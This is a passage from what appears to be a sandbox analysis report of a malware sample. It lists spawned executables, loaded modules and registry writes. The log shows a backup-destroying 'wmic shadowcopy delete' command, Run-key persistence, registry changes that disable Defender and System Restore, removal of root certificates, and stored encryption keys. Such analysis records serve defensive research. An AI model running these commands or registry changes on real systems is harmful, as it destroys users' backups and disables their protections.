c:\windows\system32\sechost.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\msvcr100.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\nlaapi.dll
c:\windows\system32\napinsp.dll
c:\windows\system32\pnrpnsp.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\winrnr.dll
c:\windows\system32\fwpuclnt.dll
c:\windows\system32\rasadhlp.dll
c:\windows\system32\wshtcpip.dll

PID
2544
CMD
C:\Users\admin\AppData\Local\Temp\3528913375.exe
Path
C:\Users\admin\AppData\Local\Temp\3528913375.exe
Indicators
Parent process
winsvcs.exe
User
admin
Integrity Level
MEDIUM
Version:
Company
Description
Version
Modules
Image
c:\users\admin\appdata\local\temp\3528913375.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\mpr.dll
c:\windows\system32\wininet.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\msvcr100.dll
c:\windows\system32\profapi.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\drprov.dll
c:\windows\system32\winsta.dll
c:\windows\system32\ntlanman.dll
c:\windows\system32\davclnt.dll
c:\windows\system32\davhlpr.dll
c:\windows\system32\wkscli.dll
c:\windows\system32\cscapi.dll
c:\windows\system32\netutils.dll
c:\windows\system32\browcli.dll
c:\windows\system32\propsys.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\wbem\wmic.exe
c:\windows\system32\iconcodecservice.dll
c:\windows\system32\windowscodecs.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\normaliz.dll
c:\windows\system32\rasapi32.dll
c:\windows\system32\rasman.dll
c:\windows\system32\rtutils.dll
c:\windows\system32\sensapi.dll
c:\windows\system32\nlaapi.dll
c:\windows\system32\rasadhlp.dll
c:\windows\system32\version.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wshtcpip.dll
c:\windows\system32\wship6.dll
c:\windows\system32\fwpuclnt.dll
c:\windows\system32\userenv.dll
c:\windows\system32\wintrust.dll
c:\windows\system32\schannel.dll
c:\windows\system32\credssp.dll
c:\windows\system32\secur32.dll
c:\windows\system32\ncrypt.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\bcryptprimitives.dll
c:\windows\system32\gpapi.dll
c:\windows\system32\cryptnet.dll
c:\windows\system32\cabinet.dll
c:\windows\system32\devrtl.dll
c:\windows\system32\winhttp.dll
c:\windows\system32\webio.dll
c:\windows\system32\dhcpcsvc6.dll
c:\windows\system32\dhcpcsvc.dll

PID
3192
CMD
C:\Users\admin\AppData\Local\Temp\1739338477.exe
Path
C:\Users\admin\AppData\Local\Temp\1739338477.exe
Indicators
No indicators
Parent process
winsvcs.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Description
Version
Modules
Image
c:\users\admin\appdata\local\temp\1739338477.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\wininet.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\msvcr100.dll

PID
3884
CMD
C:\Users\admin\AppData\Local\Temp\1218740417.exe
Path
C:\Users\admin\AppData\Local\Temp\1218740417.exe
Indicators
No indicators
Parent process
winsvcs.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Description
Version
Modules
Image
c:\users\admin\appdata\local\temp\1218740417.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\wininet.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\msvcr100.dll

PID
3488
CMD
"C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
Path
C:\Windows\system32\wbem\wmic.exe
Indicators
No indicators
Parent process
3528913375.exe
User
admin
Integrity Level
MEDIUM
Exit code
2147749908
Version:
Company
Microsoft Corporation
Description
WMI Commandline Utility
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\wbem\wmic.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\framedynos.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\wtsapi32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\secur32.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\wbem\wbemprox.dll
c:\windows\system32\wbemcomn.dll
c:\windows\system32\msxml3.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\wininet.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\shell32.dll
c:\windows\system32\profapi.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\rpcrtremote.dll
c:\program files\common files\microsoft shared\office14\msoxmlmf.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\system32\wbem\wbemsvc.dll
c:\windows\system32\wbem\fastprox.dll
c:\windows\system32\ntdsapi.dll
c:\windows\system32\wbem\wmiutils.dll

PID
3660
CMD
C:\Users\admin\AppData\Local\Temp\1513826834.exe
Path
C:\Users\admin\AppData\Local\Temp\1513826834.exe
Indicators
No indicators
Parent process
winsvcs.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Description
Version
Modules
Image
c:\users\admin\appdata\local\temp\1513826834.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\wininet.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\msvcr100.dll

PID
2728
CMD
C:\Users\admin\AppData\Local\Temp\3588437294.exe
Path
C:\Users\admin\AppData\Local\Temp\3588437294.exe
Indicators
No indicators
Parent process
winsvcs.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Description
Version
Modules
Image
c:\users\admin\appdata\local\temp\3588437294.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\mpr.dll
c:\windows\system32\wininet.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\msvcr100.dll
c:\windows\system32\profapi.dll

Registry activity

Total events
864
Read events
703
Write events
156
Delete events
5

Modification events

PID
Process
Operation
Key
Name
Value
2956
WScript.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet
0
2956
WScript.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect
1
3248
powershell.exe
write
HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
LanguageList
en-US
3248
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
0
3248
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
0
3248
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
4294901760
3248
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
4294901760
3248
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
1048576
3248
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
%windir%\tracing
3248
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
0
3248
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
0
3248
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
4294901760
3248
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
4294901760
3248
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
1048576
3248
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
%windir%\tracing
3248
powershell.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet
0
3248
powershell.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect
1
3296
979574639568794.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Microsoft Windows Services
C:\Users\admin\495030305060\winsvcs.exe
2800
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\winsvcs_RASAPI32
EnableFileTracing
0
2800
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\winsvcs_RASAPI32
EnableConsoleTracing
0
2800
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\winsvcs_RASAPI32
FileTracingMask
4294901760
2800
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\winsvcs_RASAPI32
ConsoleTracingMask
4294901760
2800
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\winsvcs_RASAPI32
MaxFileSize
1048576
2800
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\winsvcs_RASAPI32
FileDirectory
%windir%\tracing
2800
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\winsvcs_RASMANCS
EnableFileTracing
0
2800
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\winsvcs_RASMANCS
EnableConsoleTracing
0
2800
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\winsvcs_RASMANCS
FileTracingMask
4294901760
2800
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\winsvcs_RASMANCS
ConsoleTracingMask
4294901760
2800
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\winsvcs_RASMANCS
MaxFileSize
1048576
2800
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\winsvcs_RASMANCS
FileDirectory
%windir%\tracing
2800
winsvcs.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
ProxyEnable
0
2800
winsvcs.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
SavedLegacySettings
4600000069000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000
2800
winsvcs.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet
0
2800
winsvcs.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect
1
3464
1993934968.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Microsoft Windows Services
C:\Users\admin\657607470096780\winsvcs.exe
3464
1993934968.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Microsoft Windows Services
C:\Users\admin\657607470096780\winsvcs.exe
2236
1473236908.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
WinCfgMgr
C:\Users\admin\4950606094303050\wincfg32svc.exe
2236
1473236908.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
WinCfgMgr
C:\Users\admin\4950606094303050\wincfg32svc.exe
2828
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection
DisableScanOnRealtimeEnable
1
2828
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection
DisableOnAccessProtection
1
2828
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection
DisableBehaviorMonitoring
1
2828
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center
AntiVirusOverride
1
2828
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center
UpdatesOverride
1
2828
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center
FirewallOverride
1
2828
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center
AntiVirusDisableNotify
1
2828
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center
UpdatesDisableNotify
1
2828
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center
AutoUpdateDisableNotify
1
2828
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center
FirewallDisableNotify
1
2828
winsvcs.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
DisableSR
1
2828
winsvcs.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
ProxyEnable
0
2828
winsvcs.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
SavedLegacySettings
460000006A000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000
2828
winsvcs.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet
0
2828
winsvcs.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect
1
2544
3528913375.exe
delete key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13
2544
3528913375.exe
delete key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD
2544
3528913375.exe
delete key
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\ex_data\data
ext
2E007500790079007A0077006C006F000000
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\keys_data\data
public
0602000000A400005253413100080000010001005B67CCA8D42B79127FF72A9F1EB7267C81174FC9105F96AB13E46CE7A8415BEC2331C02CEF94B70E7AB7A72C21F18920FA430ABC1B7EE6235CCB60668C7BEAFF1B58C377B84DD6061606E3EF8B4A48C07970E221590405330289D15C71A7D208EE2F1C59C022C61EC55C3E6CA7A9888021EE038594932638B5F42F5EB1EF18998CBD0117BA3EE4B9EBC376C3BB2C3F1794E21FF911885A71E91EBA28A42542D439AB12B333C68B941EA5E9FED6B96888FE0667CBB25813FD8E10C94E6B751ED6447952E11C80570345EB0BE18CCF7B5D259D00DEE2363F30C706973FD899EE7D79CEC61DB9D7A98386D06DC9A09BCF4D0D46D10647F7E7AB5B867EF75A2F84CD
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\keys_data\data
private
94040000DFA7890E10662A76476CC218A9AFD9751B9DE390A856C4AC04B3DBEA150CBB86466AC9BA25B227A33BAD717ACCDCBA47B72C4E5E0A58B461CC4EE54A2FFEDD020AF097D501F1A65FF632389B45E1D4CCDCF480A36AA91D7BF65A404B5FFDDFEF3534F874DFDBFD8CD9E548F08678C9D7685792FE105C8D066A1D841CF829257F081CFA30D046494DDB0E981C87AA4B916CDF460864A947859F9DF9F6E7594392FF61329559F91227B6F36D4F295AEAE20501C7DFFDBEA4DFD9E98DAE7809C4D91B9C9BCF347A41B02FDFF1E31045675DCAD97B68F38EC250236D29D15C408ED04C207F8B6C8CBC9C029DD68FBB27FBB1D0AF31F5F826D2805B2074593859953EA80FDB85CE578812167D3BB74651D4277035CD7CB2A54AEE4C5BC12940EE2AB7E664C2A3F15F401F3F82D0C5B2DB88BDCDE2B3D260A96DF9D976EFF3D8A104661A723DC09F9FCC072C8256AA11F8CCFEC7E3BC8F3B08805A80836F502136788DC1C0AF147A19FFED3E1DA1620F9B82851B25BFD0E405D7164C4CAEB34A387067DFA1E734991E58AC9394263B3EA5D99A05E29771437093335FE9C5BF767D28BB94A252B13AEA193A7E2B86CEFF852EF448BF85783E4ABC97189B49984937D448C2375A13A2A79DF1E9D59E12702C69B2935F067F20231E3DEC206359BF8AC94E466B047C7CD853D8625A51A6578924A4D3481C352525B766BD7239FB272C282FE732AAECC24689EBFE170A0FB25E6B9752120B44419FAAF0992BA5CDEAADB84CE953FFD675BF728B7941350090B6565A40A8955CE2FD6AC48E3AD273E9FC1BC43D3ED87C129DBEEE792353D7CB5D187F7869DF7B4F085A68467D82D510D6C1859A77728177B633554F28EC09A84B284367EE336137372AF6A16AE080BE5ACDCD6ED6E417A4A5BA8C65543745D65CDEDF280035063409113E5AACEAA6736DA0F6D3FAC6E3886ACC87297467406235786A16CAB64FD7BE2BF89C435073BDCD91FD956FB31FE52A3B3B004DC14EA060D0BDF448BAD04E511BA86BC96B4FC14C7F48D5A620398350922DE97D8EA11BF6605009EB6D844C939C6E91ADE2D3DCF073E3DA8F7009534205C44A5ABA49F243F21C71ED7C17F730DBE87B3D9D81EB104A476BE2CE0F7DA27FA2D89A6FDAF93106146F9E79C4F4B48D4AE99F709D3FAAFDF5A7C11E7A5D6D8CCEEF795648DC594BBE80558790ACEC96020B975826D45DFE02EE82DD78CADE5B4209204DD1DF49C69F1A964E5EF9D9CD653957F2DD4C3332539A001504863C716C77E63DA7B45CC874DE98855A830472752C5707EDDB8632D2EA0AE901C5CD097F49657C86A5B929800D03B255B154CC9B206E1BAFDA9AA9EFF7576B9BC6EF7AD7B2156C23CA45283F485116269C2E93166374F68179CFB475A0529063D09A032466CDE48637A205AB44F1FF2B9C220A0C0FD75E35CDAB01A0CD72FA3F4B290056C9D4745F154E60C8386BFA04E737AB628A1A8A27C8B9D09CCF050AB0063F57455C172824AAF75AA2154245D32F8F8B53AB39847C8AE5D9F090ED513780F55131FDCCF8043A3487B172B6D3B41DDE78AE5F458B037053CF8096E78F9846F1F6F739BECB34FD25F9A96D020E69F16B74FE2C6CE86BCB7328E3FF1E193F82A251B1FCF1610D1D310782D508225DDD34A91A2E713AE05D0153A811318FD4800F12F92C6F5C85EF0A57E0897A6AAFD7F8CED29A455160DB283B530E64C59C7069C05D74DA8BDAF3F3201D33513AE2F130947DB133AEE8D14237A06C4390366BF5E4DFDFE6A0B5BAFB87BA399795500CB5F3FEE8C82EB73118C23DA8EB7DC911146A4AB9E2D78013D9326152244744AEEDFE534687E2CAEA05861FD045F785B0290C108E50AB88229EDA179043E941494FFEB44522E11D4598129685AB09B426451B2D8C8512ACDE030003EA7395BB11ABA80782E719A2791BC2F4911DA3E509CAC74F7CF7F2875277A51BAE8B9EC1652EB67F7A1B43D602D91BE6ED13E91D8F4FABB4CFD38F548CAB2CA90A200B0B07CEE42CF1E08C1C8E8AB2FF9C06935D4AFC221123191AE98A021FD6B0C4AEB776070607D88FA5018E72C72971C17AA21CB43C21B209790259F432BB5DE928C783DE9580F9716956CFD58D3BFFC618B6F3BD4A62C655868192A70A41C2098665295CC331CAE5A47F6895C0ACCD5F922ED151D1E2AB7E84EF6B918BB0A206049F133FE1B7EC9B395C04FF24D7575EAB5493FF9DF3ABCAD606A0D1746EF2014615ED87099A37197282337BD9AB79C81A178CA9FFBC6EDEEF21F54B39173996211853F48E74E8027AE73D5BBF1A316C066E0BA3CEB521E4E7E5B0FC54AC97D51D4EDDA9BCED12A3DC6AFA39CDF72D6B9580A8679FA756AEF071383DD94D94F88C84
2544
3528913375.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet
0
2544
3528913375.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect
1
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\3528913375_RASAPI32
EnableFileTracing
0
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\3528913375_RASAPI32
EnableConsoleTracing
0
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\3528913375_RASAPI32
FileTracingMask
4294901760
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\3528913375_RASAPI32
ConsoleTracingMask
4294901760
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\3528913375_RASAPI32
MaxFileSize
1048576
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\3528913375_RASAPI32
FileDirectory
%windir%\tracing
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\3528913375_RASMANCS
EnableFileTracing
0
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\3528913375_RASMANCS
EnableConsoleTracing
0
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\3528913375_RASMANCS
FileTracingMask
4294901760
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\3528913375_RASMANCS
ConsoleTracingMask
4294901760
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\3528913375_RASMANCS
MaxFileSize
1048576
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\3528913375_RASMANCS
FileDirectory
%windir%\tracing
2544
3528913375.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
ProxyEnable
0
2544
3528913375.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
SavedLegacySettings
460000006B000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000
2544
3528913375.exe
write
HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
LanguageList
en-US
2544
3528913375.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13
Blob
040000000100000010000000410352DC0FF7501B16F0028EBA6F45C50F00000001000000140000005BCAA1C2780F0BCB5A90770451D96F38963F012D090000000100000042000000304006082B0601050507030406082B0601050507030106082B0601050507030206082B06010505070308060A2B0601040182370A0304060A2B0601040182370A030C6200000001000000200000000687260331A72403D909F105E69BCF0D32E1BD2493FFC6D9206D11BCD67707390B000000010000001E000000440053005400200052006F006F0074002000430041002000580033000000140000000100000014000000C4A7B1A47B2C71FADBE14B9075FFC415608589101D00000001000000100000004558D512EECB27464920897DE7B66053030000000100000014000000DAC9024F54D8F6DF94935FB1732638CA6AD77C131900000001000000100000006CF252FEC3E8F20996DE5D4DD9AEF42420000000010000004E0300003082034A30820232A003020102021044AFB080D6A327BA893039862EF8406B300D06092A864886F70D0101050500303F31243022060355040A131B4469676974616C205369676E617475726520547275737420436F